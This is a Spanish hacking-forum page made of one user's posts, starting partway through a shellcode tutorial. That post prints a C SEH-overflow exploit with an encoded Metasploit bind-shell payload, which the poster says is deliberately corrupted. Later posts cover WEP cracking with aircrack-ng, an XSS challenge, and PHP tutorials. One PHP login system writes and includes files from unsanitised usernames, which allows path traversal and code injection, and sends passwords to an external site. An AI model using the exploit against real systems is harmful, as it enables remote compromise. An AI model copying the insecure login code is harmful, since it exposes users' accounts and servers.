Conocer la direccion de memoria del shellcode

y bueno para los que no conoces un ShellCode, eh aquí un ejemplo:

Código: c

#include<stdio.h>
#include<string.h>
#include<windows.h>

#define RET_ADDRESS 0x77FA8CD5 // XP RET On WinXP Sp1 English

// Stage1 Shellcode:
unsigned char stage1[]= "\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFF\xE1";

// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ]  http://metasploit.com
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\x4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\xd\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\xe\xd9\xa6\x8\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x5\x7a\x7a\x9c\xb0\x55\xa6x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
\x5\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";

int main(int argc,char *argv[]){

char *bufExe[2];
char buf[1024]; //im using an extremly long buffer so an exception will occur and execute our shellcodes
bufExe[0] = "lameseh.exe";
bufExe[2] = NULL;

memset(buf,090,1024);
memcpy(&buf[60],shellcode,sizeof(shellcode));

*(unsigned long *)&buf[520] = 0x909006EB; //jmp to our stage1 shellcode (Push it backwards)
*(unsigned long *)&buf[524] = RET_ADDRESS;
memcpy(&buf[528],stage1,sizeof(stage1)-1);

bufExe[1] = buf;

//Execute the vulnerable application
execve(bufExe[0],bufExe,NULL);
return 0x0;
}


Código del programa.

// lameseh.c - talz

int ExceptionHandl er(void);
int main(int argc,char *argv[]){

        char temp[512];

if (argc != 2) exit(0);

__try {

        strcpy(temp,argv[1]);

        } __except ( ExceptionHandl er() ){
}
return 0;
}
int ExceptionHandl er(void){
printf("Exception");
return 0;
}


eh sacado esta shell code de internet, no recuerdo su autor pero como han visto al igual que los exploit tanto como los shellcode tienen fragmentos de lineas erróneos debido a que los autores consideran que así evitaran a los  script kiddies y lammers que hagan ataques, ya que solo lo compilarían y lanzarían el ataque.

si sabes programación C y algo de ASM podrás comprender y identificar los errores.

bueno espero que haya quedado claro

salu2

PD: este tuto lo eh hecho con ayuda de varios sitios como wikipedia (conceptos), monografias.com  y la shellcode, no recuerdo ya que lo tengo de hace tiempo, si alguien lo reconoce favor de informarme

Fuente: Antiguo Foro Inexistente(HackingTeam), Autor: TheDarkWarlock
#14
Seguridad Wireless / crackear wep en ubuntu [video]
Noviembre 24, 2012, 03:13:50 AM
Hola todos! hace tiempo estaba buscando algo para hacer esto, y encontré este vídeo, espero le entiendan, el vídeo dice que para ubuntu 11.10, pero yo use la versión 12.04, supongo que tambien servirá la versión 12.10, si alguien lo puede probar que nos diga! :P



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Link de descarga wepcrackgui:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para descargar el video en HD:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Asegurense de descomprimir el wepcrackgui en la carpeta personal

Antes que nada deben abrir terminal y tipear los siguientes comandos (sin comillas) :

"sudo apt-get install aircrack-ng"

"sudo apt-get update"

"sudo apt-get upgrade"

"sudo apt-get install git gtk-sharp2 libncurses5-dev gettext mono-dmcs pyrit"

"git clone No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"

"./configure && make"

Despues de esto, podras continuar con el video.

Videodemostracion de auditorias en redes inalambricas desde ubuntu utilizando las herramientas aircrack ng y GUI para aircrack.


Saludos!!
#15
Back-end / Manual sencillo de Expresiones Regulares en PHP
Noviembre 24, 2012, 02:11:59 AM
Las expresiones regulares son una potente herramienta que nos permite contrastar un texto con un patrón de búsqueda. Esta tarea resulta fundamental en algunos programas, y en otros puede facilitarnos increíblemente el trabajo.

PHP permite dos tipos principales de funciones para expresiones regulares: las de tipo ereg (Expresiones regulares POSIX) y las de tipo preg (Compatibles con Perl). Son muy similares, aúnque las segundas llegan a ser algo más potentes.

Una expresión regular, consiste en comparar un patrón frente a un texto, para comprobar si el texto contiene lo especificado en el patrón.

Por poner un par de ejemplos:

Patrón: in
Coindicen:


  • intensidad
  • cinta
  • interior

Patrón: [mp]adre
Coindicen:


  • Mi madre se llama Luisa
  • Tu padre es jardinero

A continuación voy a repasar la sintaxis básica de una expresión regular

Sintaxis y metacaracteres

El punto

El punto representa cualquier caracter. Escribiendo un punto en un patrón querrás decir que ahí hay un caracter, cualquiera. Desde la A a la Z (en minúscula y mayúscula), del 0 al 9, o algún otro símbolo.

Ejemplos:

ca.a coincide con cana, cama, casa, caja, etc...
No coincide con casta ni caa

Principio y fin de cadena

Si queremos indicar al patrón qué es el principio de la cadena o qué es el final, debemos hacerlo con ^ para inicio y $ para final.

Ejemplos:

"^olivas" coincide con "olivas verdes", pero no con "quiero olivas"

Cuantificadores

Para indicar que cierto elemento del patrón va a repetirse un número indeterminado de veces, usaremos + o * . Usando + queremos decir que el elemento anterior aparece una o más veces. Usando * queremos decir que el elemento anterior aparece cero o más veces.

Ejemplos:

"gafas+" coincide con "gafassss" pero no con "gafa"
sin embargo
"clo*aca" coincide con "claca", "cloaca", "cloooooooaca", etc..
Si lo que queremos indicar al patrón es que un elemento puede que esté (una vez) o puede que no, lo haremos con el interrogante de la siguiente forma:
"coches?" coincide con "coche" y con "coches"

Para definir la cantidad de veces que va a repetirse el elemento, tendremos que hacer uso de las llaves: { }, indicando en su interior el intervalo, o la cantidad exacta de veces que va a repetirse.

Ejemplos:

"abc{4}" coincide con "abcccc", pero no con "abc" ni "abcc", etc...
"abc{1,3}" coincide con "abc", "abcc", "abccc", pero no con "abcccc"

Si un parámetro queda vacío, significa "un número indeterminado". Por ejemplo: "x{5,}" significa que la x ha de repetirse 5 veces, o más.

Rangos

Los corchetes [] incluidos en un patrón permiten especificar el rango de caracteres válidos a comparar. Basta que exista cualquiera de ellos para que se de la condición. Dentro de ellos pondremos cualquier cantidad de caracteres, uno a continuación del otro; o un rango del abecedario o de los números enteros del 0 al 9.

Ejemplos:

"c[ao]sa" coincide con "casa" y con "cosa"
"[a-f]" coincide con todos los caracteres alfabéticos de la "a" a la "f"
"[0-9][2-6][ANR]" coincide con "12A", "35N", "84R", etc..
pero no con "21A", ni "33L", ni "3A", etc...

Dentro de los corchetes, hay que tener en cuenta que el símbolo ^ ya no significa inicio, sinó que es un negador, es decir: "[^a-Z]" coincidirá con cualquier texto que NO tenga ningún caracter alfabético (ni minúsculas ni mayúsculas), y "^@ " coincide con cualquier caracter excepto "@" y "espacio"

Alternancia


Para alternar entre varias opciones, usaremos el símbolo | (barra vertical, en los teclados suele ser "Alt Gr + 1″). Con este mecanismo haremos un disyuntor, que nos permitirá dar varias opciones. Si una de ellas coincide, el patrón será cierto.

Ejemplos:
"aleman(ia|es)" coincide con "alemania" y con "alemanes"
"(norte|sur|este|oeste)" coincide con cualquiera de los puntos cardinales.

Agrupadores

Los paréntesis nos sirven para agrupar un subconjunto. Como hemos visto en el ejemplo anterior, nos es útil para definir la alternancia, pero agrupar un subpatrón nos permite trabajar con él como si fuera un único elemento.

Ejemplos:

"(abc)+" coincide con "abc", "abcabc", "abcabcabc", etc
"ca(sca)?da" coincide con "cascada" y con "cada"

Escapar caracteres

Si por ejemplo quisiéramos que en el patrón hubiese un punto, o un símbolo asterisco, sin que se interprete como metacaracter, tendremos que "escaparlo". Esto se hace poniendo una barra invertida justo antes: \. o \*
Esto puede hacerse con cualquier caracter que quieras introducir de forma literal, y no interpretada.

Las funciones

Una vez tenemos clara la sintaxis, nos pondremos manos a la obra con el código. En este caso usaremos las funciones que nos proporciona PHP, aúnque la sintaxis es común a muchos lenguajes.

Funciones tipo POSIX

Existen seis funciones de este tipo, que son las siguientes:

ereg(). Devuelve true si se cumple el patrón, o false si no se cumple.
eregi(). Igual que ereg(), pero sin distinguir mayúsculas y minúsculas
ereg_replace(). Usando la potencia de las expresiones regulares, permite modificar una cadena de texto.
eregi_replace(). Igual que la anterior, sin distinguir minúsculas y mayúsculas.
split(). Divide una cadena en un array, según un patrón REGEX. Hace la misma tarea que la función explode, pero indicando una expresión regular como separador.
spliti(). Igual que el anterior, sin diferenciar minúscula y mayúscula.

Funciones tipo PCRE

Estas funciones son un poco más complejas, y consecuentemente más potentes. La diferencia más significativa en cuanto a sintaxis es que el patrón deberá estar delimitado por dos caracteres. Usualmente se usan barras ( / ), aunque podemos usar cualquier símbolo, como ( # ), sobretodo en un patrón que contenga barras. Otra diferencia importante son los modificadores.

preg_match(). Chequea el patrón en una cadena alfanumérica. Devuelve true si coincide, o false en caso contrario. Además captura las coincidencias en un array.
preg_match_all(). Igual que preg_match, pero almacenando todas las subcadenas que coincidan con el patrón (no sólo una como es el caso de preg_match)
preg_replace(). Nos permite reemplazar textos mediante expresiones regulares. Los argumentos pueden ser arrays, con lo que se realiza más de una sustitución con una sola función.
preg_split(). Separa la cadena dada mediante una expresión regular.
preg_grep(). Busca el patrón dentro de un array, y devuelve otro array con las ocurrencias.

Ejemplos prácticos

A continuación muestro algunos ejemplos de uso de estas funciones:
Uso sencillo de preg_match.

Código: php
<?php
// Este código lee la variable $documento (HTML), y encuentra un numero en negrita
$documento = '<h1>Numero</h1> <p>El numero es <strong>720</strong>, bla bla bla</p>';
preg_match("#<strong>([0-9]+)</strong>#is",$documento,$num);
$numero = $num[1];

echo $numero; // Devuelve 720
?>


Uso de la referencia hacia atrás en preg_match_all

Código: php
<?php
// El \\2 es un ejemplo de referencia hacia atrás. Este le dice a pcre
// que debe buscar el segundo conjunto de paréntesis en la expresión
// regular misma, que sería ([\w]+) en este caso. La barra invertida
// extra es requerida ya que la cadena se encuentra entre comillas
// dobles.
$html = "<b>texto en negrilla</b><a href=hola.html>haga clic aquí</a>";

preg_match_all("/(<([\w]+)[^>]*>)(.*)(<\/\\2>)/", $html, $coincidencias, PREG_SET_ORDER);

foreach ($coincidencias as $val) {
    echo "coincidencia: " . $val[0] . "\n";
    echo "parte 1: " . $val[1] . "\n";
    echo "parte 2: " . $val[3] . "\n";
    echo "parte 3: " . $val[4] . "\n\n";
}
?>


Simple comprobación con el patrón de IP

Código: php
<?php
// Funcion que comprueba si el dato pasado es una IP correcta
function ipValida($ip){
   if(!eregi("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$", $ip))
      return false;
   
   $tmp = explode(".", $ip);

      foreach($tmp as $sub){
              $sub = $sub * 1;
                if($sub<0 || $sub>256) return false;
      }

   return true;
}
?>


Referencias

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, lectura muy recomendada
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, si tienes curiosidad y entiendes inglés.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, para no reinventar la rueda.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta del manual oficial.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta del manual oficial.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en Wikipedia
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en Wikilearning


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#16
Back-end / Operadores en Php
Noviembre 24, 2012, 01:17:55 AM
OPERADORES EN PHP


Al desarrollar cualquier programa empleamos normalmente operadores que nos sirven para realizar diversas operaciones que le otorgan un cierto grado de complejidad a nuestros programas, ya que, de otro modo el programa realizaría siempre lo mismo y por tanto no seria un programa útil.



Operadores aritméticos
+   Suma dos valores
-   Resta dos valores (o pasa a negativo un valor)
*   Multiplica dos valores
/   Divide dos valores
%   Resto de dividir dos valores
++   Incremento en una unidad
--   Decremento en una unidad

Operadores de asignación
=   Asigna a la parte derecha el valor izquierdo
+=   Realiza la suma de la derecha con la izquierda y la asigna a la derecha
-=   Realiza la resta de la derecha con la izquierda y la asigna a la derecha
*=   Realiza la multiplicación de la derecha con la izquierda y la asigna a la derecha
/=   Realiza la división de la derecha con la izquierda y la asigna a la derecha
%=   Se obtiene el resto y se asigna
.=   Concatena el valor de la izquierda con la derecha y lo asigna a la derecha


Operadores lógicos
!   Operador NO o No tienes permitido ver los links. Registrarse o Entrar a mi cuenta era true pasa a false y viceversa
and   Operador Y, si ambos son verdaderos vale verdadero
or   Operador O, vale verdadero si alguno de los dos es verdadero
xor   Verdadero si alguno de los dos es true pero nunca ambos
&&   True si ambos lo son
||   True si alguno lo es

Operadores condicionales
==   Comprueba si dos números son iguales
===  Comprueba si dos números son iguales y del mismo tipo
!=   Comprueba si dos números son distintos
>   Mayor que, devuelve true en caso afirmativo
<   Menor que, devuelve true en caso afirmativo
>=   Mayor o igual
<=   Menor o igual

Fuente: forosdelweb
#17
Wargames y retos / Reto XSS [muy fácil]
Noviembre 05, 2012, 02:52:25 AM
hola todos! (:

he hecho este pequeño reto, esta bastante fácil, espero que muchos participen xD
consiste en mostrar un alert, imprimir pantalla y mostrar aquí la imagen de su alert

aquí les dejo el mio xD...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Saludos!! (:
#18
Presentaciones y cumpleaños / Mi presentación? O.o
Noviembre 04, 2012, 02:41:39 AM
hola!  ;D

estaba viendo, y no me presente, estaba muy seguro que lo había hecho desde mucho antes xD, pero bueno, mas vale tarde que nunca!  :P

soy HckDrk, soy un estudiante, me gusta y soy aficionado a este tipo de cosas, programación, seguridad, diseño y demás cosas... soy de México, del DF, por si alguien quería saber xD

alguno que otro me debe odiar por ahí, pero bueno, espero que no sean muchos! T_T, cualquier cosa me dicen!  ::)

espero aprender mucho con ustedes y aportar lo poco que se!  ;)

Saludos!!  8)
#19
Back-end / Funciones para codificacion de Texto
Octubre 23, 2012, 02:01:02 PM
Hola todos! hace tiempo hice un pequeño sistema de codificación de texto, pero ahora se los quiero compartir, esta un poco sencillo, pueden jugar un poco con el para hacerlo mas complejo xD

consta de 2 funciones, una para codificar y otra para decodificar...
aquí se las dejo, y espero comentarios constructivos! :D

Código: php

<?php

function encriptacion($cadena){

$cadena=stripslashes($cadena);
$cadena=base64_encode($cadena);

for($i = 0; $i < strlen($cadena); $i++){
$encriptado.=ord(substr($cadena,$i))+10;
$encriptado.="~";
}

$buscar=array("0","1","2","3","4","5","6","7","8","9");
$reemplazar=array("a","B","c","D","e","F","g","H","i","J");
$encriptado=str_replace($buscar, $reemplazar, $encriptado);
$encriptado=substr ($encriptado, 0, -1);



return $encriptado;

}

function desencriptacion($text){

$text=stripslashes($text);
$reemplazar=array("0","1","2","3","4","5","6","7","8","9");
$buscar=array("a","B","c","D","e","F","g","H","i","J");
$text=str_replace($buscar, $reemplazar, $text);
$part=explode("~",$text);

for($i = 0; $i < count($part); $i++){
$decript.=chr($part[$i]-10);
}

$decript=base64_decode($decript);

return $decript;

}

?>


Saludos! (:
#20
Back-end / Limpiar cadena de texto
Octubre 17, 2012, 03:39:57 AM
hola todos, he hecho un pequeño script para poder limpiar una cadena de texto, solo se permiten números y el alfabeto, aquí el pequeño código...

Código: php

<?php

function limpiar($cadena){

$abc=array(" ","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
for($i=0;$i<strlen($cadena);$i++){
if(is_numeric($cadena[$i]) || in_array($cadena[$i],$abc)){
$cadena_1.=$cadena[$i];
}
}

return $cadena_1;
}
if($_POST['enviar']=="ok"){
echo limpiar($_POST['cadena']);
}

?>


si desean agregar otro carácter para que sea permitido, agréguenlo en el array....

aquí pueden ver su funcionamiento! (: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

saludos!  ;D
#21
hola! aqui les traigo unas funciones que hice hace un par de minutos xD

convierten el texto en codigo ascii, y viceversal, el codigo ascii en texto..

aqui les dejo las funciones.

Código: php

<?php

function text_to_ascii($cadena){

$cadena=stripslashes($cadena);

for($i = 0; $i < strlen($cadena); $i++){
$ascii.=ord(substr($cadena,$i));
$ascii.=",";
}

$ascii=substr ($ascii, 0, -1);

return $ascii;

}

function ascii_to_text($ascii){

$ascii=stripslashes($ascii);
$partes=explode(",",$ascii);

for($x = 0; $x < count($partes); $x++){
$cadena.=chr($partes[$x]);
}

return $cadena;

}
?>


y el modo de usarlas seria el siguiente...

Código: php

<?php

@include("./functions.php"); //incluimos las funciones

echo text_to_ascii('"zone-hack.net"');
echo "<br><br>";
echo ascii_to_text("34,122,111,110,101,45,104,97,99,107,46,110,101,116,34");

?>


alguna duda, solo diganme! :)
#22
hola!

jojo, aqui uno de mis pequeños aportes xD

les traigo amm un "tutorial" de un login y registro basico sin usar base de datos com mysql (el mas usado en php), oracle o algun otro tipo de DB

espero le entiendan, esta muy comentado, en casi todas las lineas, sino entienden algo solo me dicen! :)

ok, consistira de 3 paginas php, el primero sera el index.php, donde se mostrara el contenido, sino estas logueado nos redireccionara al login.php

Código: php

<?php
session_start();

if($_SESSION['login']!="ok"){ //si la variable de sesion login es diferente a "ok"

header("Location: login.php"); //redirgimos al login.php

}else{ //si la variable es igual a "ok" mostramos el contenido..
?>

<html>
<head>
<title>aqui el contenido para usuarios registrados</title>
</head>
<body bgcolor="#000000" text="#FFFFFF">
<p align="right">Bienvenido <b><?php echo $_SESSION['usuario']; ?></b> | <a href="login.php?action=logout">Cerrar Sesion</a></p><hr><br>
<center>
<h1>Aqui iria el contenido para los usuarios registrados</h1>
blablabla xD<br>Visita <a href="http://zone-hack.net" target="_blank">http://zone-hack.net</a>
</body>
</html>
<?php
}
?>


despues sigue el archivo registrar.php donde crearemos unas carpetas con el nombre del usuario, y ahi adentro crearemos un archivo con los datos del usuario. PD: hay que crear una carpeta que se llame "users" (sin comillas)

Código: php

<?php

//sistema de des/encriptacion por HckDrk, Zone-Hack.Net
function des_encriptacion_zh($action,$cadena){ //primer parametro, encriptacion o desencriptacion. el segundo es la cadena a encriptar o desencriptar

if($action=="encriptacion"){

$valor=file_get_contents("http://tools.zone-hack.net/Apis/Encriptacion/index.php?action=$action&cadena=$cadena");
$valor=html_entity_decode($valor);

}else if($action=="desencriptacion"){

$valor=file_get_contents("http://tools.zone-hack.net/Apis/Encriptacion/index.php?action=$action&cadena=$cadena");
$valor=html_entity_decode($valor);

}else{

exit("Error en la funcion </i>des_encriptacion_zh<i>, en el primer parametro solo se premite introducir \"encriptacion\" o \"desencriptacion\" ");

}

return $valor;

}

if($_POST['action']=="enviar"){ //si mandamos el formulario...

if($_POST['usuario']=="" || $_POST['email']=="" || $_POST['pregunta']=="" || $_POST['r_secreta']=="" || $_POST['pass']=="" || $_POST['pass2']==""){ //si los campos estan vacios

echo"<script>alert('debe rellerar todos los campos')</script>"; //mostramos error

}else{ //sino estan vacios...

if($_POST['pass']!=$_POST['pass2']){ //si los password no coinciden
echo "<script>alert('los password no coinciden!')</script>"; //mostramos mensaje de error
}else{ //si coinciden..

if(!file_exists("./users/".$_POST['usuario'])){ //si no existe el usuario..

mkdir("users/".$_POST['usuario'], 0777) or die("no se pudo crear el usuario "); //creamos una carpeta
$fp=fopen("users/".$_POST['usuario']."/datos.php","w+") or die("no se pudo crear el usuarioo"); //creamos el archivo datos.php donde se guardara su user y su pass
fputs($fp,"<?php\n");
fputs($fp,"\$email=\"".strip_tags($_POST['email'])."\";\n"); //eliminamos etiquetas html, y guardamos el correo
fputs($fp,"\$pregunta=\"".strip_tags($_POST['pregunta'])."\";\n"); //eliminamos etiquetas html, y guardamos la pregunta para cambiar pass
fputs($fp,"\$r_secreta=\"".strip_tags($_POST['r_secreta'])."\";\n"); //eliminamos etiquetas html, y guardamos el user
fputs($fp,"\$user=\"".strip_tags($_POST['usuario'])."\";\n"); //eliminamos etiquetas html, y guardamos el user
fputs($fp,"\$pass=\"".des_encriptacion_zh("encriptacion",strip_tags($_POST['pass']))."\";\n"); //eliminamos etiquetas html, encriptamos con nuestro propio sistema de encriptamiento y guardamos el pass
fputs($fp,"?>\n");
echo "<script>alert('registro completo!')</script>"; //mostramos que todo salio bien
echo "<meta http-equiv=\"refresh\" content=\"0;url=login.php\">";


}else{ //si ya existe el usuario
echo "<script>alert('ya existe el usuario ".$_POST['usuario']."')</script>"; //mostramos que ya existe el usuario
}
}
}
}



?>
<html>
<head>
<title>Registro de usuarios sin base de datos</title>
</head>
<body bgcolor="#000000" text="#FFFFFF">

<br>
<?php

if($_SESSION['login']!="ok"){ //si la variable de sesion es diferente a ok entonces mostraremos el formulario de registro

?>
<center>
<h1>Registro de usuarios sin base de datos</h1>
<table border="0" align="center">
<form method="post" action="registrar.php">
<tr><td>usuario: </td><td><input type="text" name="usuario"></td></tr>
<tr><td>E-mail: </td><td><input type="text" name="email"></td></tr>
<tr><td>password: </td><td><input type="password" name="pass"></td></tr>
<tr><td>repita el pass: </td><td><input type="password" name="pass2"></td></tr>
<tr><td>pregunta seguridad: (<a href="javascript:alert('se te preguntara esta pregunta y su respuesta en caso de que olvides tu password')">?</a>)</td><td><select name="pregunta"><option value="">selecciona una pregunta</option><option value="mascota favorita">mascota favorita</option><option value="mejor amigo">mejor amigo</option><option value="pelicula favorita">pelicula favorita</option></select></td></tr>
<tr><td>respuesta secreta: </td><td><input type="text" name="r_secreta"></td></tr>
<input type="hidden" name="action" value="enviar">
<tr><td colspan="2"><center><input type="submit" value="registrarse!"></center></td></tr>
<tr><td colspan="2"><center><a href="login.php">Iniciar Sesion</a></center></td></tr>
</form>
</table>
<?php
}else{ //si la varieble de sesion es igual a ok entonces redirigimos al index

header("Location: index.php");

}
?>
</body>
</html>


y por ultimo el login.php donde crearemos variables de sesion para poder ver el contenido del index, tambien aqui podremos recuperar el password, pos si se nos olvido..

Código: php

<?php
session_start();

//sistema de des/encriptacion por HckDrk, Zone-Hack.Net
function des_encriptacion_zh($action,$cadena){ //primer parametro, encriptacion o desencriptacion. el segundo es la cadena a encriptar o desencriptar

if($action=="encriptacion"){

$valor=file_get_contents("http://tools.zone-hack.net/Apis/Encriptacion/index.php?action=$action&cadena=$cadena");
$valor=html_entity_decode($valor);

}else if($action=="desencriptacion"){

$valor=file_get_contents("http://tools.zone-hack.net/Apis/Encriptacion/index.php?action=$action&cadena=$cadena");
$valor=html_entity_decode($valor);

}else{

exit("Error en la funcion </i>des_encriptacion_zh<i>, en el primer parametro solo se premite introducir \"encriptacion\" o \"desencriptacion\" ");

}

return $valor;

}

if($_SESSION['login']=="ok"){ //si la variable de sesion login es igual a "ok"

if($_GET['action']=="logout"){ //si el action obtenido de la ur es igual a logout destruimos las sessiones
Session_destroy();
header("Location: index.php");
exit();
}else{ //sino es ninguna accion redirigimos al index

header("Location: index.php");
exit();
}

}else{ //sino es igual a ok

if($_GET['action']=="remember"){ //si el action tomado del url es igual a remember


if($_POST['remember']=="enviar"){ //si enviamos el formulario de recordar pass
if($_POST['usuario']=="" || $_POST['email']=="" || $_POST['pregunta']=="" || $_POST['r_secreta']==""){ //si los campos estan vacios..
echo "<script>alert('debe rellenar todos los campos')</script>"; //mostramos mensaje de error
echo "<meta http-equiv=\"refresh\" content=\"0;url=login.php?action=remember\">"; //y redirigimos de nuevo al formulario
}else{ //si los campos no estan vacios
if(file_exists("./users/".$_POST['usuario'])){ //si existe el usuario
include("./users/".$_POST['usuario']."/datos.php"); //incluimos los datos
if($email==$_POST['email']){ //si el email del login coincide con el del registro
if($pregunta==$_POST['pregunta'] && $r_secreta==$_POST['r_secreta']){ //si la pregunta de seguridad y el email coinciden con los del registro
$encabezados = "From: [email protected]\nReply-To: [email protected]\nContent-Type: text/html; charset=iso-8859-1";
$mensaje= "tu usuario es: ".$_POST['usuario']."<br><br>Tu password es: ".des_encriptacion_zh("desencriptacion",$pass);
if(mail($_POST['email'], "has solicitado tu password",$mensaje, $encabezados)){ //mandamos el email con los datos
echo "<script>alert('tu pass ha sido enviado a tu correo')</script>";
}else{ //sino se pudo mandar el email
echo "<script>alert('tu password es: ".des_encriptacion_zh("desencriptacion",$pass)."')</script>"; //mostramos el password
echo "<meta http-equiv=\"refresh\" content=\"0;url=index.php\">"; //redirigimos al index
}
}else{ //si la pregunta o respuesta secreta no coindicen con los del registro...
echo "<script>alert('la pregunta o respuesta secreta no coinciden con la pregunta o respuesta del registro')</script>"; //mostramos error
echo "<meta http-equiv=\"refresh\" content=\"0;url=login.php?action=remember\">"; //redirigimos al formulario
}
}else{ //si el email no coindide con el del registro
echo"<script>alert('el email no coincide con el del registro')</script>"; //mostramos error
echo "<meta http-equiv=\"refresh\" content=\"0;url=login.php?action=remember\">"; //redirigimos al formulario
}

}else{ //si el usuario no existe..
echo"<script>alert('el usuario no existe!')</script>"; //mostramos error
echo "<meta http-equiv=\"refresh\" content=\"0;url=login.php?action=remember\">"; //redirigimos al formulario
}
}
}else{ //sino se ha enviado el formulario de recordar pass mostramos el formulario..
?>
<html>
<head>
<title>Remeber Password</title>
</head>
<body bgcolor="#000000" text="#FFFFFF">
<center>
<h1>recordar pass</h1>
<table border="0" align="center">
<form method="post" action="login.php?action=remember">
<tr><td>usuario: </td><td><input type="text" name="usuario"></td></tr>
<tr><td>E-mail: </td><td><input type="text" name="email"></td></tr>
<tr><td>pregunta seguridad: (<a href="javascript:alert('la pregunta que elegiste cuando te registraste')">?</a>)</td><td><select name="pregunta"><option value="">selecciona una pregunta</option><option value="mascota favorita">mascota favorita</option><option value="mejor amigo">mejor amigo</option><option value="pelicula favorita">pelicula favorita</option></select></td></tr>
<tr><td>respuesta secreta: </td><td><input type="text" name="r_secreta"></td></tr>
<input type="hidden" name="remember" value="enviar">
<tr><td colspan="2"><center><input type="submit" value="Obtener Password"></center></td></tr>
<tr><td colspan="2"><center><a href="login.php">Iniciar Sesion</a></center></td></tr>
</form>
</table>
</body>
</html>
<?php
}
}else{ //si el action obtenido de la url no es remember


if($_POST['action']=="enviar"){ //si enviamos el formulario del login

if($_POST['usuario']=="" || $_POST['pass']==""){ //si los campos estan vacios
echo"<script>alert('debe introducir todos los datos!')</script>"; //mostramos error
}else{ //sino estan vacios

if(file_exists("./users/".$_POST['usuario'])){ //si existe el usuario
include("./users/".$_POST['usuario']."/datos.php"); //incluimos los datos
if($pass==des_encriptacion_zh("encriptacion",$_POST['pass'])){ //si el pass del login coincide con el del rgistro
$_SESSION['usuario']=strip_tags($_POST['usuario']); //creamos una variable de sesion con el nombre del usuario
$_SESSION['login']="ok"; //creamos la variable de sesion login con el valor de ok
header("Location: index.php"); //redirigimos al index
}else{ //si no coinciden los pass
echo"<script>alert('los datos son incorrectos!')</script>"; //mostramos que no son correctos los datos
}

}else{ //sino existe el usuario
echo "<script>alert('el usuario no existe!')</script>"; //mostramos que no existe el usuario
}

}

}

}

}
if($_GET['action']!="remember"){ //si action obtenido de la url es diferente a remember mostramos el formulario de login
?>
<html>
<head>
<title>Login</title>
</head>
<body bgcolor="#000000" text="#FFFFFF">
<center>
<h1>Login de usuarios</h1>
<table border="0" align="center">
<form method="post" action="">
<tr><td>Usuario:</td><td><input type="text" name="usuario"></td></tr>
<tr><td>Pass:</td><td><input type="password" name="pass"></td></tr>
<input type="hidden" name="action" value="enviar">
<tr><td colspan="2"><center><input type="submit" value="Enviar"></center></td></tr>
</form>
